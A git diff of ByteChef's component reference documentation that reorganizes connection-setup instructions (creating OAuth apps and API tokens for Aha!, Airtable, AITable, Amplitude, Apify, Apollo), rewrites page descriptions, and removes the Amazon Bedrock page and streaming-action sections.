diff --git a/docs/content/docs/reference/components/aha_v1.mdx b/docs/content/docs/reference/components/aha_v1.mdx
index d7316535eae..014d70f31b5 100644
--- a/docs/content/docs/reference/components/aha_v1.mdx
+++ b/docs/content/docs/reference/components/aha_v1.mdx
@@ -31,27 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth Application
-
-1. Navigate to your Aha! dashboard.
-2. Click on **Personal**.
-3. Click on **Developer**.
-4. Click on **OAuth applications**.
-5. Click on **Register OAuth application**.
-6. Enter name of your OAuth application.
-7. Enter **Redirect URI** depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-8. Click **Create**.
-9. Here you can see your credentials.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/739b69f7-a2e8-44de-9a31-1957c6c67f9c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -141,13 +120,6 @@ Type: OBJECT
 }
 ```
 
-#### Find product ID and release ID
-
-To find the Product ID, click [here](/reference/components/aha_v1#how-to-find-the-product-id).
-
-To find the Release ID, click [here](/reference/components/aha_v1#how-to-find-the-release-id).
-
-
 
 ### Create Idea
 Name: createIdea
@@ -251,13 +223,6 @@ Type: OBJECT
 }
 ```
 
-#### Find product ID and release ID
-
-To find the Product ID, click [here](/reference/components/aha_v1#how-to-find-the-product-id).
-
-To find the Release ID, click [here](/reference/components/aha_v1#how-to-find-the-release-id).
-
-
 
 
 
@@ -271,25 +236,23 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
-### How to find the Release ID
-
-The Release ID (also known as the Reference Number) can be found in the Aha! UI or via the API.
-
-#### In the Aha! UI
-- **Release Detail View**: Open a specific release. The Reference Number (e.g., `APP-R-1`) is displayed in the header or in the URL.
-- **Gantt Views**: **Releases** → **Gantt**. The Reference Number is shown in its own column.
-- **Search**: Use the search bar (or press `/`) and type the release name. The Reference Number (e.g., `APP-R-1`) will appear in the results.
-
-#### Via API
-- Use the `GET /products/{product_id}/releases` endpoint.
-- List releases within a product to retrieve their IDs.
-
-### How to find the Product ID
+## Connection Setup
 
-The Product ID is a unique numeric value that can be found in the URL or via the API.
+### Create OAuth Application
 
-#### Via API
-- Use the `GET /products` endpoint to retrieve a list of all products and their numeric IDs.
+1. Navigate to your Aha! dashboard.
+2. Click on **Personal**.
+3. Click on **Developer**.
+4. Click on **OAuth applications**.
+5. Click on **Register OAuth application**.
+6. Enter name of your OAuth application.
+7. Enter **Redirect URI** depending on your instance:
+    - `https://app.bytechef.io/callback` (Cloud)
+    - `http://localhost:5173/callback` (Local dev)
+8. Click **Create**.
+9. Here you can see your credentials.
+10. Done 🚀.
 
-#### Via Search
-- Press `/` to open the search modal. Recently viewed products will be listed with their IDs.
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/739b69f7-a2e8-44de-9a31-1957c6c67f9c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/ahrefs_v1.mdx b/docs/content/docs/reference/components/ahrefs_v1.mdx
index bf6da20755a..98de9f310c4 100644
--- a/docs/content/docs/reference/components/ahrefs_v1.mdx
+++ b/docs/content/docs/reference/components/ahrefs_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Ahrefs"
-description: "Ahrefs is a comprehensive suite of SEO (Search Engine Optimization) tools used by digital marketers and businesses to improve their website's visibility in search engine results."
+description: "Ahrefs integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Ahrefs
 ---
 
-
 Categories: Analytics
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -104,8 +102,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Subscription Information
 Name: getSubscriptionInfo
 
@@ -152,8 +148,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Page Content
 Name: getPageContent
 
@@ -207,10 +201,4 @@ Type: OBJECT
     "rendered_html" : ""
   }
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/ai-agent_v1.mdx b/docs/content/docs/reference/components/ai-agent_v1.mdx
index be8ca66bbdf..ddb4d4e5308 100644
--- a/docs/content/docs/reference/components/ai-agent_v1.mdx
+++ b/docs/content/docs/reference/components/ai-agent_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "AI Agent"
-description: "With the AI Agent, you can chat with the AI agent."
+description: 'description: Learn how to use AI Agent in ByteChef. Comprehensive guide
+  with examples'
+title: AI Agent
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -71,73 +71,4 @@ Name: chat
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-### Chat (stream)
-Name: streamChat
-
-`Chat with the AI agent and stream the response.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
-| userPrompt | Prompt | STRING | User prompt to the model. | true |
-| systemPrompt | System Prompt | STRING | System prompt to the model. | false |
-| attachments | Attachments | ARRAY <details> <summary> Items </summary> [FILE_ENTRY] </details> | Only text and image files are supported. Also, only certain models supports images. Please check the documentation. | false |
-| messages | Messages | ARRAY <details> <summary> Items </summary> [&#123;STRING\(role), STRING\(content), [FILE_ENTRY]\(attachments)&#125;] </details> | A list of messages comprising the conversation so far. | true |
-| response | Response | OBJECT <details> <summary> Properties </summary> &#123;STRING\(responseFormat), STRING\(responseSchema)&#125; </details> | The response from the API. | true |
-| conversationId | null | STRING | The conversation id used in conjunction with memory. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Chat (stream)",
-  "name" : "streamChat",
-  "parameters" : {
-    "format" : "",
-    "userPrompt" : "",
-    "systemPrompt" : "",
-    "attachments" : [ {
-      "extension" : "",
-      "mimeType" : "",
-      "name" : "",
-      "url" : ""
-    } ],
-    "messages" : [ {
-      "role" : "",
-      "content" : "",
-      "attachments" : [ {
-        "extension" : "",
-        "mimeType" : "",
-        "name" : "",
-        "url" : ""
-      } ]
-    } ],
-    "response" : {
-      "responseFormat" : "",
-      "responseSchema" : ""
-    },
-    "conversationId" : ""
-  },
-  "type" : "aiAgent/v1/streamChat"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/ai-image_v1.mdx b/docs/content/docs/reference/components/ai-image_v1.mdx
index 73b11772111..64638d45617 100644
--- a/docs/content/docs/reference/components/ai-image_v1.mdx
+++ b/docs/content/docs/reference/components/ai-image_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "AI Image"
-description: "AI Helper component for image analysis and generation."
+description: 'description: Learn how to use AI Image in ByteChef. Comprehensive guide
+  with examples'
+title: AI Image
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -78,10 +78,4 @@ Type: OBJECT
   "url" : "",
   "b64Json" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/ai-text_v1.mdx b/docs/content/docs/reference/components/ai-text_v1.mdx
index 7fd0718e0d6..6b540cc2278 100644
--- a/docs/content/docs/reference/components/ai-text_v1.mdx
+++ b/docs/content/docs/reference/components/ai-text_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "AI Text"
-description: "AI Helper component for text analysis and generation."
+description: 'description: Learn how to use AI Text in ByteChef. Comprehensive guide
+  with examples'
+title: AI Text
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -72,8 +72,6 @@ Type: STRING
 
 
 
-
-
 ### Sentiment Analysis
 Name: sentimentAnalysis
 
@@ -125,8 +123,6 @@ Type: STRING
 
 
 
-
-
 ### Score
 Name: score
 
@@ -174,8 +170,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Summarize Text
 Name: summarizeText
 
@@ -231,8 +225,6 @@ Type: STRING
 
 
 
-
-
 ### Similarity Search
 Name: similaritySearch
 
@@ -279,8 +271,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Text Generation
 Name: textGeneration
 
@@ -323,16 +313,4 @@ ___Sample Output:___
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/airtable_v1.mdx b/docs/content/docs/reference/components/airtable_v1.mdx
index 4624cc8e0f0..547b0ab82b3 100644
--- a/docs/content/docs/reference/components/airtable_v1.mdx
+++ b/docs/content/docs/reference/components/airtable_v1.mdx
@@ -29,27 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Airtable to ByteChef using a Personal Access Token (PAT).
-
-### Create a Personal Access Token in Airtable
-1. Log in to your Airtable account.
-2. Open the Personal access tokens page: https://airtable.com/create/tokens
-3. Click **+Create token**.
-4. Enter a descriptive Name for your token (for example, "ByteChef Token").
-5. Add the required Scopes:
-   - `data.records:read`
-   - `data.records:write`
-   - `schema.bases:read`
-6. Set Access for the token:
-   - Choose one or more specific bases, an entire workspace, or all bases you own. For least privilege, select only the bases ByteChef needs to access.
-7. Click **Create token** and copy the token shown.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/X9OLHWqaXwsSSpY4bJLQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -92,8 +71,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Record
 Name: updateRecord
 
@@ -130,8 +107,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Delete Record
 Name: deleteRecord
 
@@ -185,8 +160,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Record
 Name: getRecord
 
@@ -222,8 +195,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -264,10 +235,33 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Airtable to ByteChef using a Personal Access Token (PAT).
+
+### Create a Personal Access Token in Airtable
+1. Log in to your Airtable account.
+2. Open the Personal access tokens page: https://airtable.com/create/tokens
+3. Click **+Create token**.
+4. Enter a descriptive Name for your token (for example, "ByteChef Token").
+5. Add the required Scopes:
+   - `data.records:read`
+   - `data.records:write`
+   - `schema.bases:read`
+6. Set Access for the token:
+   - Choose one or more specific bases, an entire workspace, or all bases you own. For least privilege, select only the bases ByteChef needs to access.
+7. Click **Create token** and copy the token shown.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/X9OLHWqaXwsSSpY4bJLQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/aitable_v1.mdx b/docs/content/docs/reference/components/aitable_v1.mdx
index fea18e84fca..2b58e7821d0 100644
--- a/docs/content/docs/reference/components/aitable_v1.mdx
+++ b/docs/content/docs/reference/components/aitable_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "AITable"
-description: "AITable is an AI-powered platform that enables users to create interactive and dynamic tables for data visualization and analysis without requiring coding skills."
+description: "Aitable integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: AITable
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -29,24 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect AITable to ByteChef using a Bearer Token (API Token).
-
-### Create an AITable API Token
-1. Sign in to AITable.
-2. Click your profile avatar in the lower-left corner and open **My Settings**.
-3. Go to the **Developer** tab.
-4. Click the icon to generate a new **API Token**.
-5. Copy the token and store it securely.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.69531250% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/51781518-3dd5-4d75-9a37-0cc85a58a66f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-### References
-- AITable Quick Start and API Token: https://developers.aitable.ai/api/quick-start/
-
 
 
 <hr />
@@ -89,8 +70,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Find Records
 Name: findRecords
 
@@ -129,8 +108,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Update Record
 Name: updateRecord
 
@@ -169,11 +146,30 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect AITable to ByteChef using a Bearer Token (API Token).
+
+### Create an AITable API Token
+1. Sign in to AITable.
+2. Click your profile avatar in the lower-left corner and open **My Settings**.
+3. Go to the **Developer** tab.
+4. Click the icon to generate a new **API Token**.
+5. Copy the token and store it securely.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(52.69531250% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/51781518-3dd5-4d75-9a37-0cc85a58a66f?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
+### References
+- AITable Quick Start and API Token: https://developers.aitable.ai/api/quick-start/
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/amazon-bedrock_v1.mdx b/docs/content/docs/reference/components/amazon-bedrock_v1.mdx
deleted file mode 100644
index 9f59a31e212..00000000000
--- a/docs/content/docs/reference/components/amazon-bedrock_v1.mdx
+++ /dev/null
@@ -1,104 +0,0 @@
----
-title: "Amazon Bedrock"
-description: "Amazon Bedrock is a fully managed service that offers a choice of high-performing foundation models (FMs) from leading AI companies."
----
-
-
-Categories: Artificial Intelligence
-
-
-Type: amazonBedrock/v1
-
-<hr />
-
-
-
-
-## Connections
-
-Version: 1
-
-
-### custom
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| accessKeyId | Access Key ID | STRING |  | true |
-| secretAccessKey | Secret Access Key | STRING |  | true |
-| region | | STRING <details> <summary> Options </summary> <span>af-south-1</span>, <span>ap-east-1</span>, <span>ap-east-2</span>, <span>ap-northeast-1</span>, <span>ap-northeast-2</span>, <span>ap-northeast-3</span>, <span>ap-south-1</span>, <span>ap-south-2</span>, <span>ap-southeast-1</span>, <span>ap-southeast-2</span>, <span>ap-southeast-3</span>, <span>ap-southeast-4</span>, <span>ap-southeast-5</span>, <span>ap-southeast-6</span>, <span>ap-southeast-7</span>, <span>aws-cn-global</span>, <span>aws-global</span>, <span>aws-iso-b-global</span>, <span>aws-iso-e-global</span>, <span>aws-iso-f-global</span>, <span>aws-iso-global</span>, <span>aws-us-gov-global</span>, <span>ca-central-1</span>, <span>ca-west-1</span>, <span>cn-north-1</span>, <span>cn-northwest-1</span>, <span>eu-central-1</span>, <span>eu-central-2</span>, <span>eu-isoe-west-1</span>, <span>eu-north-1</span>, <span>eu-south-1</span>, <span>eu-south-2</span>, <span>eu-west-1</span>, <span>eu-west-2</span>, <span>eu-west-3</span>, <span>eusc-de-east-1</span>, <span>il-central-1</span>, <span>me-central-1</span>, <span>me-south-1</span>, <span>mx-central-1</span>, <span>sa-east-1</span>, <span>us-east-1</span>, <span>us-east-2</span>, <span>us-gov-east-1</span>, <span>us-gov-west-1</span>, <span>us-iso-east-1</span>, <span>us-iso-west-1</span>, <span>us-isob-east-1</span>, <span>us-isob-west-1</span>, <span>us-isof-east-1</span>, <span>us-isof-south-1</span>, <span>us-west-1</span>, <span>us-west-2</span> </details> |  | true |
-
-
-
-
-
-
-<hr />
-
-
-## Actions
-
-
-### Ask
-Name: ask
-
-`Ask anything you want.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| model | Model | STRING | ID of the model to use. | true |
-| format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
-| userPrompt | Prompt | STRING | User prompt to the model. | true |
-| systemPrompt | System Prompt | STRING | System prompt to the model. | false |
-| messages | Messages | ARRAY <details> <summary> Items </summary> [&#123;STRING\(role), STRING\(content), [FILE_ENTRY]\(attachments)&#125;] </details> | A list of messages comprising the conversation so far. | true |
-| response | Response | OBJECT <details> <summary> Properties </summary> &#123;STRING\(responseFormat), STRING\(responseSchema)&#125; </details> | The response from the API. | true |
-| maxTokens | Max Tokens | INTEGER | The maximum number of tokens to generate in the chat completion. | false |
-| temperature | Temperature | NUMBER | Controls randomness:  Higher values will make the output more random, while lower values like will make it more focused and deterministic. | false |
-| topP | Top P | NUMBER | An alternative to sampling with temperature, called nucleus sampling,  where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Ask",
-  "name" : "ask",
-  "parameters" : {
-    "model" : "",
-    "format" : "",
-    "userPrompt" : "",
-    "systemPrompt" : "",
-    "messages" : [ {
-      "role" : "",
-      "content" : "",
-      "attachments" : [ {
-        "extension" : "",
-        "mimeType" : "",
-        "name" : "",
-        "url" : ""
-      } ]
-    } ],
-    "response" : {
-      "responseFormat" : "",
-      "responseSchema" : ""
-    },
-    "maxTokens" : 1,
-    "temperature" : 0.0,
-    "topP" : 0.0
-  },
-  "type" : "amazonBedrock/v1/ask"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
diff --git a/docs/content/docs/reference/components/amplitude_v1.mdx b/docs/content/docs/reference/components/amplitude_v1.mdx
index faf538f3e57..483e8285d65 100644
--- a/docs/content/docs/reference/components/amplitude_v1.mdx
+++ b/docs/content/docs/reference/components/amplitude_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Amplitude"
-description: "Build better products by turning your user data into meaningful insights, using Amplitude's digital analytics platform and experimentation tools."
+description: "Amplitude integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Amplitude
 ---
 
-
 Categories: Analytics
 
 
@@ -30,23 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Organization settings**.
-4. Click on **Projects**.
-5. Select project you wish to connect to.
-6. Click on **Show**.
-7. Here you can see API key.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5d7e0912-a448-4413-ba45-42a94acf7d05?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -103,8 +85,6 @@ Type: STRING
 
 
 
-
-
 ### Create or Update User
 Name: createOrUpdateUser
 
@@ -168,5 +148,23 @@ Type: STRING
 
 
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find API Key
+
+1. Navigate to your dashboard.
+2. Click on **Settings**.
+3. Click on **Organization settings**.
+4. Click on **Projects**.
+5. Select project you wish to connect to.
+6. Click on **Show**.
+7. Here you can see API key.
 
 
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/5d7e0912-a448-4413-ba45-42a94acf7d05?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/anthropic_v1.mdx b/docs/content/docs/reference/components/anthropic_v1.mdx
index 2c092225a7d..34369498172 100644
--- a/docs/content/docs/reference/components/anthropic_v1.mdx
+++ b/docs/content/docs/reference/components/anthropic_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Anthropic"
-description: "Anthropic is an AI safety and research company that's working to build reliable, interpretable, and steerable AI systems."
+description: "Anthropic integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Anthropic
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -102,83 +100,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-### Ask (stream)
-Name: streamAsk
-
-`Ask anything you want and stream the response.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| model | Model | STRING <details> <summary> Options </summary> <span>claude-3-5-haiku-latest</span>, <span>claude-3-5-sonnet-latest</span>, <span>claude-3-7-sonnet-latest</span>, <span>claude-3-haiku-20240307</span>, <span>claude-3-opus-latest</span>, <span>claude-3-sonnet-20240229</span>, <span>claude-haiku-4-5</span>, <span>claude-opus-4-0</span>, <span>claude-opus-4-1</span>, <span>claude-opus-4-5</span>, <span>claude-sonnet-4-0</span>, <span>claude-sonnet-4-5</span> </details> | ID of the model to use. | true |
-| format | Format | STRING <details> <summary> Options </summary> <span title="User prompt and optional system prompt.">SIMPLE</span>, <span title="Full control over the messages sent to the model.">ADVANCED</span> </details> | Format of providing the prompt to the model. | true |
-| userPrompt | Prompt | STRING | User prompt to the model. | true |
-| systemPrompt | System Prompt | STRING | System prompt to the model. | false |
-| attachments | Attachments | ARRAY <details> <summary> Items </summary> [FILE_ENTRY] </details> | Only text and image files are supported. Also, only certain models supports images. Please check the documentation. | false |
-| messages | Messages | ARRAY <details> <summary> Items </summary> [&#123;STRING\(role), STRING\(content), [FILE_ENTRY]\(attachments)&#125;] </details> | A list of messages comprising the conversation so far. | true |
-| maxTokens | Max Tokens | INTEGER | The maximum number of tokens to generate in the chat completion. | true |
-| response | Response | OBJECT <details> <summary> Properties </summary> &#123;STRING\(responseFormat), STRING\(responseSchema)&#125; </details> | The response from the API. | true |
-| temperature | Temperature | NUMBER | Controls randomness:  Higher values will make the output more random, while lower values like will make it more focused and deterministic. | false |
-| topP | Top P | NUMBER | An alternative to sampling with temperature, called nucleus sampling,  where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. | false |
-| topK | Top K | INTEGER | Specify the number of token choices the generative uses to generate the next token. | false |
-| stop | Stop | ARRAY <details> <summary> Items </summary> [STRING] </details> | Up to 4 sequences where the API will stop generating further tokens. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Ask (stream)",
-  "name" : "streamAsk",
-  "parameters" : {
-    "model" : "",
-    "format" : "",
-    "userPrompt" : "",
-    "systemPrompt" : "",
-    "attachments" : [ {
-      "extension" : "",
-      "mimeType" : "",
-      "name" : "",
-      "url" : ""
-    } ],
-    "messages" : [ {
-      "role" : "",
-      "content" : "",
-      "attachments" : [ {
-        "extension" : "",
-        "mimeType" : "",
-        "name" : "",
-        "url" : ""
-      } ]
-    } ],
-    "maxTokens" : 1,
-    "response" : {
-      "responseFormat" : "",
-      "responseSchema" : ""
-    },
-    "temperature" : 0.0,
-    "topP" : 0.0,
-    "topK" : 1,
-    "stop" : [ "" ]
-  },
-  "type" : "anthropic/v1/streamAsk"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/apify_v1.mdx b/docs/content/docs/reference/components/apify_v1.mdx
index 6980aedacdc..02165afbdff 100644
--- a/docs/content/docs/reference/components/apify_v1.mdx
+++ b/docs/content/docs/reference/components/apify_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Apify"
-description: "Apify is the largest ecosystem where developers build, deploy, and publish data extraction and web automation tools."
+description: "Apify integration for ByteChef. Connect and automate with this service in your workflows. Learn how to implement this in your ByteChef automation."
+title: Apify
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -29,22 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Find Token
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **API & Integrations**.
-4. Click **Create new token**.
-5. Enter description.
-6. Click on **Create**.
-7. Click here to copy token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/e1d71885-a15e-4726-bf02-fc0e142bbaec?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -102,8 +85,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Start Actor
 Name: startActor
 
@@ -138,11 +119,28 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Find Token
+
+1. Navigate to your dashboard.
+2. Click on **Settings**.
+3. Click on **API & Integrations**.
+4. Click **Create new token**.
+5. Enter description.
+6. Click on **Create**.
+7. Click here to copy token.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/e1d71885-a15e-4726-bf02-fc0e142bbaec?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/apollo_v1.mdx b/docs/content/docs/reference/components/apollo_v1.mdx
index 8136c097135..5bb4bd7a653 100644
--- a/docs/content/docs/reference/components/apollo_v1.mdx
+++ b/docs/content/docs/reference/components/apollo_v1.mdx
@@ -41,45 +41,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Apollo to ByteChef using either an API Key or OAuth 2.0 (Authorization Code), depending on whether you want a single server-owned key or user-consented access.
-
-### Option 1 — API Key
-Use this when you have an Apollo API key and do not require end-user OAuth consent.
-
-1. In Apollo, go to the bottom-left menu and click on **Admin Settings**.
-2. Click on **Integrations**.
-3. Find **API** and click **Connect**.
-4. Open the **API Keys** tab.
-5. Click **+ Create new key**.
-6. Enter a descriptive name and description.
-7. Choose the specific endpoints the key should access (least privilege), or enable **Set as master key** only if your use case requires broad access.
-8. Click **Create API key**. Copy the key value and store it securely.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/KVEx8pfDMofgNPhdIc6q?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-### Option 2 — OAuth 2.0 Authorization Code
